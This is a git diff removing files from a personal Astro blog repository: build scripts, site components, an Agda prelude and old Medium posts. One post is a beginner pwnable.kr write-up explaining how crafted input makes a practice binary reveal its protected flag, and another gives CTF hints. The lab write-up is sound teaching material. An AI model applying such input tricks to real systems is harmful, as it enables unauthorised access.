|
||||||
import { tmpdir } from "node:os";
|
|
||||||
|
|
||||||
const remarkTypst: RemarkPlugin = () => {
|
|
||||||
const tmp = mkdtempSync(join(tmpdir(), "typst"));
|
|
||||||
let ctr = 0;
|
|
||||||
|
|
||||||
return (tree) => {
|
|
||||||
visit(
|
|
||||||
tree,
|
|
||||||
(node) => node.type === "code" && node.lang === "typst",
|
|
||||||
(node, index, parent) => {
|
|
||||||
const doc = join(tmp, `${ctr}.typ`);
|
|
||||||
const docOut = join(tmp, `${ctr}.svg`);
|
|
||||||
ctr += 1;
|
|
||||||
|
|
||||||
writeFileSync(doc, node.value);
|
|
||||||
const result = spawnSync(
|
|
||||||
"typst",
|
|
||||||
[
|
|
||||||
"compile",
|
|
||||||
"--format",
|
|
||||||
"svg",
|
|
||||||
doc,
|
|
||||||
],
|
|
||||||
{},
|
|
||||||
);
|
|
||||||
console.log("OUTPUT", result.stderr.toString());
|
|
||||||
|
|
||||||
const svgOut = readFileSync(docOut);
|
|
||||||
node.type = "html";
|
|
||||||
node.value = svgOut.toString();
|
|
||||||
},
|
|
||||||
);
|
|
||||||
};
|
|
||||||
};
|
|
||||||
|
|
||||||
export default remarkTypst;
|
|
7253
pnpm-lock.yaml
7253
pnpm-lock.yaml
File diff suppressed because it is too large
Load diff
|
@ -1 +0,0 @@
|
||||||
did:plc:zbg2asfcpyughqspwjjgyc2d
|
|
Binary file not shown.
Before Width: | Height: | Size: 136 KiB |
|
@ -1,3 +0,0 @@
|
||||||
User-agent: *
|
|
||||||
Allow: /
|
|
||||||
Disallow: /drafts
|
|
|
@ -1,13 +0,0 @@
|
||||||
#!/usr/bin/env bash
|
|
||||||
|
|
||||||
set -euo pipefail
|
|
||||||
|
|
||||||
nix build .#docker-builder
|
|
||||||
IMAGE_NAME=$(docker load -q -i ./result | cut -d':' -f2,3 | xargs)
|
|
||||||
REMOTE_IMAGE_NAME="git.mzhang.io/michael/$IMAGE_NAME"
|
|
||||||
docker image tag "$IMAGE_NAME" "$REMOTE_IMAGE_NAME"
|
|
||||||
|
|
||||||
sed -i -E "s~(.*image: ).*blog-docker-builder:?.*~\1$REMOTE_IMAGE_NAME~" .woodpecker.yml
|
|
||||||
echo "Created $REMOTE_IMAGE_NAME"
|
|
||||||
|
|
||||||
docker push -q "$REMOTE_IMAGE_NAME"
|
|
|
@ -1,95 +0,0 @@
|
||||||
{-# OPTIONS --cubical-compatible #-}
|
|
||||||
|
|
||||||
module Prelude where
|
|
||||||
|
|
||||||
open import Agda.Primitive
|
|
||||||
|
|
||||||
private
|
|
||||||
variable
|
|
||||||
l : Level
|
|
||||||
|
|
||||||
data ⊥ : Set where
|
|
||||||
|
|
||||||
rec-⊥ : {A : Set} → ⊥ → A
|
|
||||||
rec-⊥ ()
|
|
||||||
|
|
||||||
¬_ : Set → Set
|
|
||||||
¬ A = A → ⊥
|
|
||||||
|
|
||||||
data ⊤ : Set where
|
|
||||||
tt : ⊤
|
|
||||||
|
|
||||||
data Bool : Set where
|
|
||||||
true : Bool
|
|
||||||
false : Bool
|
|
||||||
|
|
||||||
id : {l : Level} {A : Set l} → A → A
|
|
||||||
id x = x
|
|
||||||
|
|
||||||
module Nat where
|
|
||||||
data ℕ : Set where
|
|
||||||
zero : ℕ
|
|
||||||
suc : ℕ → ℕ
|
|
||||||
{-# BUILTIN NATURAL ℕ #-}
|
|
||||||
|
|
||||||
infixl 6 _+_
|
|
||||||
_+_ : ℕ → ℕ → ℕ
|
|
||||||
zero + n = n
|
|
||||||
suc m + n = suc (m + n)
|
|
||||||
open Nat public
|
|
||||||
|
|
||||||
infix 4 _≡_
|
|
||||||
data _≡_ {l} {A : Set l} : (a b : A) → Set l where
|
|
||||||
instance refl : {x : A} → x ≡ x
|
|
||||||
{-# BUILTIN EQUALITY _≡_ #-}
|
|
||||||
|
|
||||||
ap : {A B : Set l} → (f : A → B) → {x y : A} → x ≡ y → f x ≡ f y
|
|
||||||
ap f refl = refl
|
|
||||||
|
|
||||||
sym : {A : Set l} {x y : A} → x ≡ y → y ≡ x
|
|
||||||
sym refl = refl
|
|
||||||
|
|
||||||
trans : {A : Set l} {x y z : A} → x ≡ y → y ≡ z → x ≡ z
|
|
||||||
trans refl refl = refl
|
|
||||||
|
|
||||||
infixl 10 _∙_
|
|
||||||
_∙_ = trans
|
|
||||||
|
|
||||||
transport : {l₁ l₂ : Level} {A : Set l₁} {x y : A}
|
|
||||||
→ (P : A → Set l₂)
|
|
||||||
→ (p : x ≡ y)
|
|
||||||
→ P x → P y
|
|
||||||
transport {l₁} {l₂} {A} {x} {y} P refl = id
|
|
||||||
|
|
||||||
infix 4 _≢_
|
|
||||||
_≢_ : ∀ {A : Set} → A → A → Set
|
|
||||||
x ≢ y = ¬ (x ≡ y)
|
|
||||||
|
|
||||||
module dependent-product where
|
|
||||||
infixr 4 _,_
|
|
||||||
infixr 2 _×_
|
|
||||||
|
|
||||||
record Σ {l₁ l₂} (A : Set l₁) (B : A → Set l₂) : Set (l₁ ⊔ l₂) where
|
|
||||||
constructor _,_
|
|
||||||
field
|
|
||||||
fst : A
|
|
||||||
snd : B fst
|
|
||||||
open Σ
|
|
||||||
{-# BUILTIN SIGMA Σ #-}
|
|
||||||
syntax Σ A (λ x → B) = Σ[ x ∈ A ] B
|
|
||||||
|
|
||||||
_×_ : {l : Level} (A B : Set l) → Set l
|
|
||||||
_×_ A B = Σ A (λ _ → B)
|
|
||||||
open dependent-product public
|
|
||||||
|
|
||||||
_∘_ : {A B C : Set} (g : B → C) → (f : A → B) → A → C
|
|
||||||
(g ∘ f) a = g (f a)
|
|
||||||
|
|
||||||
_∼_ : {A B : Set} (f g : A → B) → Set
|
|
||||||
_∼_ {A} f g = (x : A) → f x ≡ g x
|
|
||||||
|
|
||||||
postulate
|
|
||||||
funExt : {l : Level} {A B : Set l}
|
|
||||||
→ {f g : A → B}
|
|
||||||
→ ((x : A) → f x ≡ g x)
|
|
||||||
→ f ≡ g
|
|
Binary file not shown.
Before Width: | Height: | Size: 1.3 MiB |
|
@ -1,27 +0,0 @@
|
||||||
---
|
|
||||||
import "../styles/footer.scss";
|
|
||||||
import { execSync } from "node:child_process";
|
|
||||||
|
|
||||||
const dateUpdated = new Date();
|
|
||||||
const gitRevShort = execSync("git rev-parse --short HEAD").toString().trim();
|
|
||||||
const gitRev = execSync("git rev-parse HEAD").toString().trim();
|
|
||||||
---
|
|
||||||
|
|
||||||
<footer>
|
|
||||||
<p>
|
|
||||||
Blog theme and contents written by Michael Zhang with the <a
|
|
||||||
href="https://astro.build/"
|
|
||||||
target="_blank"
|
|
||||||
rel="noreferrer noopener">Astro</a
|
|
||||||
> framework.
|
|
||||||
<br />
|
|
||||||
Last updated {dateUpdated.toLocaleString(undefined, { dateStyle: "full" })} at commit
|
|
||||||
<a
|
|
||||||
href={`https://git.mzhang.io/michael/blog/commit/${gitRev}`}
|
|
||||||
class="colorlink"
|
|
||||||
target="_blank">{gitRevShort}</a
|
|
||||||
>.
|
|
||||||
<br />
|
|
||||||
<a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">Source code</a>.
|
|
||||||
</p>
|
|
||||||
</footer>
|
|
|
@ -1,7 +0,0 @@
|
||||||
---
|
|
||||||
interface Props {}
|
|
||||||
|
|
||||||
const {} = Astro.props;
|
|
||||||
console.log("SHIET", Astro.props);
|
|
||||||
console.log("SHIET", await Astro.slots.render("default"));
|
|
||||||
---
|
|
|
@ -1,34 +0,0 @@
|
||||||
---
|
|
||||||
import "../styles/leftNav.scss";
|
|
||||||
import { Content as ShortBio } from "../content/partials/shortBio.md";
|
|
||||||
import links from "../data/links";
|
|
||||||
import { Image } from "astro:assets";
|
|
||||||
import portrait from "../assets/self.png";
|
|
||||||
|
|
||||||
// const target = Astro.url.pathname === "/" ? "/about/" : "/";
|
|
||||||
const target = "/";
|
|
||||||
---
|
|
||||||
|
|
||||||
<nav class="side-nav">
|
|
||||||
<div class="side-nav-content">
|
|
||||||
<a href={target} class="portrait" data-astro-prefetch>
|
|
||||||
<Image src={portrait} alt="portrait" class="portrait" width={350} height={350} loading="eager" />
|
|
||||||
</a>
|
|
||||||
<div class="me">
|
|
||||||
<div class="titleContainer">
|
|
||||||
<h1 class="title">
|
|
||||||
<a href={target} data-astro-prefetch>Michael Zhang</a>
|
|
||||||
</h1>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="links">
|
|
||||||
<a href="/about/">About</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="bio">
|
|
||||||
<ShortBio />
|
|
||||||
<a href="/about/">More »</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</nav>
|
|
|
@ -1,133 +0,0 @@
|
||||||
---
|
|
||||||
import { getCollection, type CollectionEntry } from "astro:content";
|
|
||||||
import Timestamp from "./Timestamp.astro";
|
|
||||||
import { sortBy } from "lodash-es";
|
|
||||||
import TagList from "./TagList.astro";
|
|
||||||
|
|
||||||
interface Props {
|
|
||||||
basePath: string;
|
|
||||||
/** Whether or not to include drafts in this list */
|
|
||||||
drafts?: "exclude" | "include" | "only";
|
|
||||||
filteredPosts?: Post[];
|
|
||||||
class?: string | undefined;
|
|
||||||
timeFormat?: string | undefined;
|
|
||||||
collection?: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
type Post = CollectionEntry<"posts">;
|
|
||||||
const {
|
|
||||||
class: className,
|
|
||||||
basePath,
|
|
||||||
drafts: includeDrafts,
|
|
||||||
filteredPosts,
|
|
||||||
timeFormat,
|
|
||||||
collection,
|
|
||||||
} = Astro.props;
|
|
||||||
|
|
||||||
type FilterFn = (_: Post) => boolean;
|
|
||||||
|
|
||||||
function unreachable(): never {
|
|
||||||
throw new Error("unreachable");
|
|
||||||
}
|
|
||||||
|
|
||||||
function getFilter(): FilterFn {
|
|
||||||
switch (includeDrafts) {
|
|
||||||
case "exclude":
|
|
||||||
case undefined:
|
|
||||||
return (post: Post) => !post.data.draft;
|
|
||||||
case "include":
|
|
||||||
return (_: Post) => true;
|
|
||||||
case "only":
|
|
||||||
return (post: Post) => post.data.draft === true;
|
|
||||||
}
|
|
||||||
return unreachable();
|
|
||||||
}
|
|
||||||
|
|
||||||
const filter = getFilter();
|
|
||||||
let allPosts;
|
|
||||||
if (filteredPosts) allPosts = filteredPosts.filter(filter);
|
|
||||||
else allPosts = await getCollection(collection ?? "posts", filter);
|
|
||||||
|
|
||||||
const sortedPosts = sortBy(allPosts, (post) => -post.data.date);
|
|
||||||
---
|
|
||||||
|
|
||||||
<table class={`postListing ${className}`}>
|
|
||||||
{
|
|
||||||
sortedPosts.map((post) => {
|
|
||||||
return (
|
|
||||||
<>
|
|
||||||
<tr class="row">
|
|
||||||
<td>
|
|
||||||
<div class="title">
|
|
||||||
<a href={`${basePath}/${post.slug}/`} class="brand-colorlink">
|
|
||||||
{post.data.title}
|
|
||||||
</a>
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<Timestamp timestamp={post.data.date} format={timeFormat} />
|
|
||||||
·
|
|
||||||
<TagList tags={post.data.tags} />
|
|
||||||
</div>
|
|
||||||
</td>
|
|
||||||
</tr>
|
|
||||||
</>
|
|
||||||
);
|
|
||||||
})
|
|
||||||
}
|
|
||||||
</table>
|
|
||||||
|
|
||||||
<style lang="scss">
|
|
||||||
.postListing {
|
|
||||||
width: 100%;
|
|
||||||
border-spacing: 0px 24px;
|
|
||||||
|
|
||||||
:global(.timestamp) {
|
|
||||||
font-family: var(--monofont);
|
|
||||||
color: var(--smaller-text-color);
|
|
||||||
font-size: 0.75em;
|
|
||||||
}
|
|
||||||
|
|
||||||
:global(.tags) {
|
|
||||||
gap: 8px;
|
|
||||||
display: inline-flex;
|
|
||||||
|
|
||||||
:global(.tag) {
|
|
||||||
background-color: inherit;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
td {
|
|
||||||
line-height: 1;
|
|
||||||
display: flex;
|
|
||||||
flex-direction: column;
|
|
||||||
gap: 4px;
|
|
||||||
|
|
||||||
.title {
|
|
||||||
font-size: 12pt;
|
|
||||||
}
|
|
||||||
|
|
||||||
.summary {
|
|
||||||
padding-top: 4px;
|
|
||||||
font-size: 0.64em;
|
|
||||||
color: var(--smaller-text-color);
|
|
||||||
|
|
||||||
p {
|
|
||||||
display: inline;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
td.info {
|
|
||||||
color: var(--smaller-text-color);
|
|
||||||
font-size: 0.75em;
|
|
||||||
white-space: nowrap;
|
|
||||||
text-align: right;
|
|
||||||
vertical-align: baseline;
|
|
||||||
|
|
||||||
.spacer {
|
|
||||||
font-size: 12pt;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
|
@ -1,18 +0,0 @@
|
||||||
---
|
|
||||||
import "../styles/tagList.scss";
|
|
||||||
|
|
||||||
const { extraFront, tags, extraBack } = Astro.props;
|
|
||||||
---
|
|
||||||
|
|
||||||
<div class="tags">
|
|
||||||
{extraFront}
|
|
||||||
{
|
|
||||||
tags.toSorted().map((tag: string) => (
|
|
||||||
<a href={`/tags/${tag}/`} class="tag">
|
|
||||||
<i class="fa fa-tag" aria-hidden="true" />
|
|
||||||
<span class="text">#{tag}</span>
|
|
||||||
</a>
|
|
||||||
))
|
|
||||||
}
|
|
||||||
{extraBack}
|
|
||||||
</div>
|
|
|
@ -1,13 +0,0 @@
|
||||||
---
|
|
||||||
interface Props {
|
|
||||||
timestamp: Date;
|
|
||||||
format?: string | undefined;
|
|
||||||
}
|
|
||||||
|
|
||||||
const { timestamp, format: customFormat } = Astro.props;
|
|
||||||
import { format } from "date-fns";
|
|
||||||
---
|
|
||||||
|
|
||||||
<span class="timestamp" title={timestamp.toISOString()}>
|
|
||||||
{format(timestamp, customFormat ?? "yyyy MMM dd")}
|
|
||||||
</span>
|
|
|
@ -1,128 +0,0 @@
|
||||||
---
|
|
||||||
import type { MarkdownHeading } from "astro";
|
|
||||||
import "../styles/toc.scss";
|
|
||||||
|
|
||||||
interface Props {
|
|
||||||
toc: boolean;
|
|
||||||
headings: MarkdownHeading[];
|
|
||||||
}
|
|
||||||
|
|
||||||
const { toc, headings } = Astro.props;
|
|
||||||
const minDepth = Math.min(...headings.map((heading) => heading.depth));
|
|
||||||
---
|
|
||||||
|
|
||||||
{
|
|
||||||
toc ? (
|
|
||||||
<>
|
|
||||||
<div class="toc-wrapper">
|
|
||||||
<slot />
|
|
||||||
<div class="toc">
|
|
||||||
<h3 class="title">Table of contents</h3>
|
|
||||||
<ul>
|
|
||||||
{headings.map((heading) => {
|
|
||||||
const depth = heading.depth - minDepth;
|
|
||||||
const padding = 10 * Math.pow(0.85, depth);
|
|
||||||
const fontSize = 14 * Math.pow(0.9, depth);
|
|
||||||
return (
|
|
||||||
<li>
|
|
||||||
<a
|
|
||||||
href={`#${heading.slug}`}
|
|
||||||
id={`${heading.slug}-link`}
|
|
||||||
style={`padding: ${padding}px;`}
|
|
||||||
>
|
|
||||||
<span style={`padding-left: ${depth * 10}px; font-size: ${fontSize}px;`}>
|
|
||||||
{heading.text}
|
|
||||||
</span>
|
|
||||||
</a>
|
|
||||||
</li>
|
|
||||||
);
|
|
||||||
})}
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</>
|
|
||||||
) : (
|
|
||||||
<slot />
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
<script define:vars={{ toc, headings }}>
|
|
||||||
if (toc) {
|
|
||||||
const headingTags = new Set(["h1", "h2", "h3", "h4", "h5", "h6"]);
|
|
||||||
const headingsMap = new Map([...headings.map((heading) => [heading.slug, new Set()])]);
|
|
||||||
const reverseHeadingMap = new Map();
|
|
||||||
const linkMap = new Map();
|
|
||||||
|
|
||||||
document.addEventListener("DOMContentLoaded", function () {
|
|
||||||
const visibleElements = new Map();
|
|
||||||
|
|
||||||
// Register links
|
|
||||||
for (const heading of headings) {
|
|
||||||
const link = document.getElementById(`${heading.slug}-link`);
|
|
||||||
const el = document.getElementById(heading.slug);
|
|
||||||
if (link && el) {
|
|
||||||
linkMap.set(heading.slug, link);
|
|
||||||
link.addEventListener("click", (e) => {
|
|
||||||
el.scrollIntoView({ behavior: "smooth" });
|
|
||||||
e.preventDefault();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
if (!visibleElements.has(heading.slug)) {
|
|
||||||
visibleElements.set(heading.slug, new Set());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const observer = new IntersectionObserver((entries) => {
|
|
||||||
for (const entry of entries) {
|
|
||||||
const target = entry.target;
|
|
||||||
const slug = reverseHeadingMap.get(target);
|
|
||||||
const link = linkMap.get(slug);
|
|
||||||
const associatedEls = visibleElements.get(slug);
|
|
||||||
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// if it wasn't previously visible
|
|
||||||
// let's make the link active
|
|
||||||
if (associatedEls.size === 0) {
|
|
||||||
link.parentNode.classList.add("active");
|
|
||||||
}
|
|
||||||
|
|
||||||
associatedEls.add(target);
|
|
||||||
} else {
|
|
||||||
// if it was previously visible
|
|
||||||
// check if it's the last element
|
|
||||||
if (associatedEls.size > 0) {
|
|
||||||
if (associatedEls.size === 1) link.parentNode.classList.remove("active");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (associatedEls.size > 0) {
|
|
||||||
associatedEls.delete(target);
|
|
||||||
}
|
|
||||||
|
|
||||||
ratioMap.delete(target);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
const postContentEl = document.getElementById("post-content");
|
|
||||||
|
|
||||||
let belongsTo;
|
|
||||||
for (const child of postContentEl.children) {
|
|
||||||
if (headingTags.has(child.tagName.toLowerCase())) {
|
|
||||||
belongsTo = child.id;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (belongsTo) {
|
|
||||||
const headingSet = headingsMap.get(belongsTo);
|
|
||||||
headingSet.add(child);
|
|
||||||
reverseHeadingMap.set(child, belongsTo);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[...headingsMap.values()]
|
|
||||||
.flatMap((x) => [...x])
|
|
||||||
.forEach((x) => {
|
|
||||||
observer.observe(x);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
</script>
|
|
|
@ -1,5 +0,0 @@
|
||||||
// Place any global data in this file.
|
|
||||||
// You can import this data from anywhere in your site by using the `import` keyword.
|
|
||||||
|
|
||||||
export const SITE_TITLE = "Michael's Blog";
|
|
||||||
export const SITE_DESCRIPTION = "Michael's Blog";
|
|
|
@ -1,34 +0,0 @@
|
||||||
import { defineCollection, z } from "astro:content";
|
|
||||||
|
|
||||||
const posts = defineCollection({
|
|
||||||
type: "content",
|
|
||||||
|
|
||||||
// Type-check frontmatter using a schema
|
|
||||||
schema: ({ image }) =>
|
|
||||||
z.object({
|
|
||||||
title: z.string(),
|
|
||||||
date: z.date(),
|
|
||||||
|
|
||||||
// Transform string to Date object
|
|
||||||
pubDate: z
|
|
||||||
.string()
|
|
||||||
.or(z.date())
|
|
||||||
.transform((val) => new Date(val))
|
|
||||||
.optional(),
|
|
||||||
updatedDate: z
|
|
||||||
.string()
|
|
||||||
.optional()
|
|
||||||
.transform((str) => (str ? new Date(str) : undefined))
|
|
||||||
.optional(),
|
|
||||||
|
|
||||||
heroImage: image().optional(),
|
|
||||||
heroAlt: z.string().optional(),
|
|
||||||
|
|
||||||
tags: z.array(z.string()).default([]),
|
|
||||||
draft: z.boolean().default(false),
|
|
||||||
math: z.boolean().default(false),
|
|
||||||
toc: z.boolean().default(false),
|
|
||||||
}),
|
|
||||||
});
|
|
||||||
|
|
||||||
export const collections = { posts };
|
|
|
@ -1,5 +0,0 @@
|
||||||
I'm a computer science master's student at the [University of Minnesota][1], advised by [Favonia].
|
|
||||||
My current research is in programming languages and formal methods, specifically cubical type theory and synthetic homotopy theory.
|
|
||||||
|
|
||||||
[1]: https://twin-cities.umn.edu/
|
|
||||||
[favonia]: https://favonia.org/
|
|
|
@ -1,31 +0,0 @@
|
||||||
---
|
|
||||||
title: How to accomplish something.
|
|
||||||
date: 2014-12-28T06:18:06.940Z
|
|
||||||
tags: [medium-blog]
|
|
||||||
---
|
|
||||||
|
|
||||||
<article class="h-entry">
|
|
||||||
<section data-field="subtitle" class="p-summary">
|
|
||||||
It’s really simple.
|
|
||||||
</section>
|
|
||||||
<section data-field="body" class="e-content">
|
|
||||||
<section name="d840" class="section section--body section--first section--last">
|
|
||||||
<div class="section-content">
|
|
||||||
<div class="section-inner sectionLayout--insetColumn">
|
|
||||||
<p name="c074" id="c074" class="graf graf--p graf-after--h3">Don’t.</p>
|
|
||||||
<p name="8add" id="8add" class="graf graf--p graf-after--p">Give.</p>
|
|
||||||
<p name="2290" id="2290" class="graf graf--p graf-after--p">Up.</p>
|
|
||||||
<p name="6014" id="6014" class="graf graf--p graf-after--p graf--trailing">Simple.</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
</section>
|
|
||||||
<footer>
|
|
||||||
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
|
|
||||||
href="https://medium.com/p/f5c2ca623a76"><time class="dt-published"
|
|
||||||
datetime="2014-12-28T06:18:06.940Z">December 28, 2014</time></a>.</p>
|
|
||||||
<p><a href="https://medium.com/@failedxyz/how-to-accomplish-something-f5c2ca623a76"
|
|
||||||
class="p-canonical">Canonical link</a></p>
|
|
||||||
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
|
|
||||||
</footer>
|
|
||||||
</article>
|
|
|
@ -1,74 +0,0 @@
|
||||||
---
|
|
||||||
title: A Much-Needed Apology
|
|
||||||
date: 2015-03-19T23:34:26.674Z
|
|
||||||
tags: [medium-blog]
|
|
||||||
---
|
|
||||||
|
|
||||||
<article class="h-entry">
|
|
||||||
<section data-field="body" class="e-content">
|
|
||||||
<section name="276e" class="section section--body section--first section--last">
|
|
||||||
<div class="section-content">
|
|
||||||
<div class="section-inner sectionLayout--insetColumn">
|
|
||||||
<p name="cbee" id="cbee" class="graf graf--p graf-after--h3">If you’re participating in CTCTF this week, I
|
|
||||||
know it has been a hard week, and I have a huge apology to make, about several things.</p>
|
|
||||||
<p name="aa08" id="aa08" class="graf graf--p graf-after--p">I should not have helped out with this CTF. I
|
|
||||||
didn’t have much time to work on it, I was busy with school, and it really wasn’t a good time for me to be
|
|
||||||
doing it. However, I was really stupid so I decided to jump in anyway.</p>
|
|
||||||
<p name="def7" id="def7" class="graf graf--p graf-after--p"><strong
|
|
||||||
class="markup--strong markup--p-strong">If you’re in a rush, and you don’t care about all this stuff,
|
|
||||||
skip down to the bottom for the final hint.</strong></p>
|
|
||||||
<h4 name="dae6" id="dae6" class="graf graf--h4 graf-after--p">Backend</h4>
|
|
||||||
<p name="a52e" id="a52e" class="graf graf--p graf-after--h4">The website backend problems were completely my
|
|
||||||
fault. Things like the problems page saying your problem was unsolved when you actually received points
|
|
||||||
for it, or not being able to submit answers for problems because it said “You’ve already tried this.” Part
|
|
||||||
of this was not havingenough time to thoroughly test the server and catch all the problems.</p>
|
|
||||||
<h4 name="a9f0" id="a9f0" class="graf graf--h4 graf-after--p">IRC</h4>
|
|
||||||
<p name="6939" id="6939" class="graf graf--p graf-after--h4">This really isn’t my problem. But I’ll address
|
|
||||||
it anyway. The biggest problem was the choice of using Pdgn server. It works well for its purpose, and
|
|
||||||
does serve all its values. But it was too underdeveloped to use in an actual CTF, lacking features
|
|
||||||
including:</p>
|
|
||||||
<ul class="postList">
|
|
||||||
<li name="c5b2" id="c5b2" class="graf graf--li graf-after--p">Authentication — people just stole other
|
|
||||||
people’s usernames.</li>
|
|
||||||
<li name="379e" id="379e" class="graf graf--li graf-after--li">Operators — we lost all ops in the original
|
|
||||||
channel <em class="markup--em markup--li-em">and</em> the new channel.</li>
|
|
||||||
<li name="033c" id="033c" class="graf graf--li graf-after--li">Connection issues—we got lots of ECONNRESET
|
|
||||||
issues with KiwiIRC.</li>
|
|
||||||
</ul>
|
|
||||||
<h4 name="dd66" id="dd66" class="graf graf--h4 graf-after--li">Problems</h4>
|
|
||||||
<p name="1114" id="1114" class="graf graf--p graf-after--h4">I don’t know what to say about this. I urged
|
|
||||||
the other team members to shorten the duration of the competition to 3 days, but they wouldn’t budge, so
|
|
||||||
we ended up having a 7-day competition with only 20 easy problems. My friend said he solved all but 2 of
|
|
||||||
them in an hour.</p>
|
|
||||||
<p name="e3aa" id="e3aa" class="graf graf--p graf-after--p">We weren’t even going to use 1023megabytes
|
|
||||||
originally. But because of the immediate lack of problems, I figured we would need it.</p>
|
|
||||||
<p name="ebdb" id="ebdb" class="graf graf--p graf-after--p">When the competition started, there were only 18
|
|
||||||
questions up. I wrote “3 hard 3 me” in about 15 minutes during class. If you’re running a competition,
|
|
||||||
you’d want to keep your participants’ interests as long as possible; there’s no point if everyone quits
|
|
||||||
after a day — which is basically what happened.</p>
|
|
||||||
<p name="6d7d" id="6d7d" class="graf graf--p graf-after--p">I figured the purpose of creating such an
|
|
||||||
insanely BS problem was to keep people interested in the CTF, but also to keep the mods (who are on the
|
|
||||||
verge of quitting) motivated to keep going. I originally planned to give a lot of hints, and here is the
|
|
||||||
last one.</p>
|
|
||||||
<h4 name="110a" id="110a" class="graf graf--h4 graf-after--p">Hints</h4>
|
|
||||||
<p name="a74e" id="a74e" class="graf graf--p graf-after--h4">This is the final hint for “3 hard 3 me”: base
|
|
||||||
16, base 2, base 3.</p>
|
|
||||||
<p name="25ea" id="25ea" class="graf graf--p graf-after--p">For 1023megabytes, you probably already made
|
|
||||||
some connection between me and a group called the Donut Mafia. Try to find our fundraising website, and
|
|
||||||
the flag will be on a userpage.</p>
|
|
||||||
<p name="a67a" id="a67a" class="graf graf--p graf-after--p graf--trailing">I feel like I owe this to
|
|
||||||
everyone for a bad competition and hope you forgive me for all these mistakes. They won’t happen again. I
|
|
||||||
guess I’ll see you guys at the next CTF.</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
</section>
|
|
||||||
<footer>
|
|
||||||
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
|
|
||||||
href="https://medium.com/p/8f50537a8932"><time class="dt-published" datetime="2015-03-19T23:34:26.674Z">March
|
|
||||||
19, 2015</time></a>.</p>
|
|
||||||
<p><a href="https://medium.com/@failedxyz/a-much-needed-apology-8f50537a8932" class="p-canonical">Canonical
|
|
||||||
link</a></p>
|
|
||||||
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
|
|
||||||
</footer>
|
|
||||||
</article>
|
|
|
@ -1,44 +0,0 @@
|
||||||
---
|
|
||||||
title: "Pwnable.kr: fd (1)"
|
|
||||||
date: 2015-10-20T18:20:38.431Z
|
|
||||||
tags: [medium-blog]
|
|
||||||
---
|
|
||||||
|
|
||||||
<article class="h-entry">
|
|
||||||
<section data-field="body" class="e-content">
|
|
||||||
<section name="1d23" class="section section--body section--first section--last">
|
|
||||||
<div class="section-content">
|
|
||||||
<div class="section-inner sectionLayout--insetColumn">
|
|
||||||
<p name="ec7e" id="ec7e" class="graf graf--p graf-after--h3">This is my first writeup. The problem reads:
|
|
||||||
</p>
|
|
||||||
<blockquote name="b33e" id="b33e" class="graf graf--blockquote graf-after--p">Mommy! what is a file
|
|
||||||
descriptor in Linux?<br>ssh fd@pwnable.kr -p2222 (pw:guest)</blockquote>
|
|
||||||
<p name="0cc2" id="0cc2" class="graf graf--p graf-after--blockquote">Since it tells us to SSH to their
|
|
||||||
server, we’ll do that. Upon logging in, we find fd, an executable binary, fd.c, the source file, and flag,
|
|
||||||
the target file we are trying to read, but is currently protected by root. Let’s begin by analyzing fd.c.
|
|
||||||
</p>
|
|
||||||
<p name="3ba1" id="3ba1" class="graf graf--p graf-after--p">At the if statement, the program is checking buf
|
|
||||||
against the string LETMEWIN. Where is buf being read? It’s being read from a variable called fd, which is
|
|
||||||
a <a href="https://en.wikipedia.org/wiki/File_descriptor"
|
|
||||||
data-href="https://en.wikipedia.org/wiki/File_descriptor" class="markup--anchor markup--p-anchor"
|
|
||||||
rel="noopener" target="_blank"><strong class="markup--strong markup--p-strong">file
|
|
||||||
descriptor</strong></a>. Since the only way we can give input to the program is STDIN_FILENO, we have
|
|
||||||
to make sure fd is set to 0.</p>
|
|
||||||
<p name="a905" id="a905" class="graf graf--p graf-after--p">According to the code, fd is calculated by atoi(
|
|
||||||
argv[1] ) — 0x1234: it converts the user input into an integer and subtracts 0x1234, or 4660 in decimal.
|
|
||||||
To make fd equal to 0, we simply pass 4660 as an argument. This should cause the program to prompt us for
|
|
||||||
input. Now we just enter LETMEWIN, and it should print out the flag :)</p>
|
|
||||||
<blockquote name="8dca" id="8dca" class="graf graf--blockquote graf-after--p graf--trailing">mommy! I think
|
|
||||||
I know what a file descriptor is!!</blockquote>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
</section>
|
|
||||||
<footer>
|
|
||||||
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
|
|
||||||
href="https://medium.com/p/f9b66ed3a312"><time class="dt-published"
|
|
||||||
datetime="2015-10-20T18:20:38.431Z">October 20, 2015</time></a>.</p>
|
|
||||||
<p><a href="https://medium.com/@failedxyz/pwnable-kr-fd-1-f9b66ed3a312" class="p-canonical">Canonical link</a></p>
|
|
||||||
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
|
|
||||||
</footer>
|
|
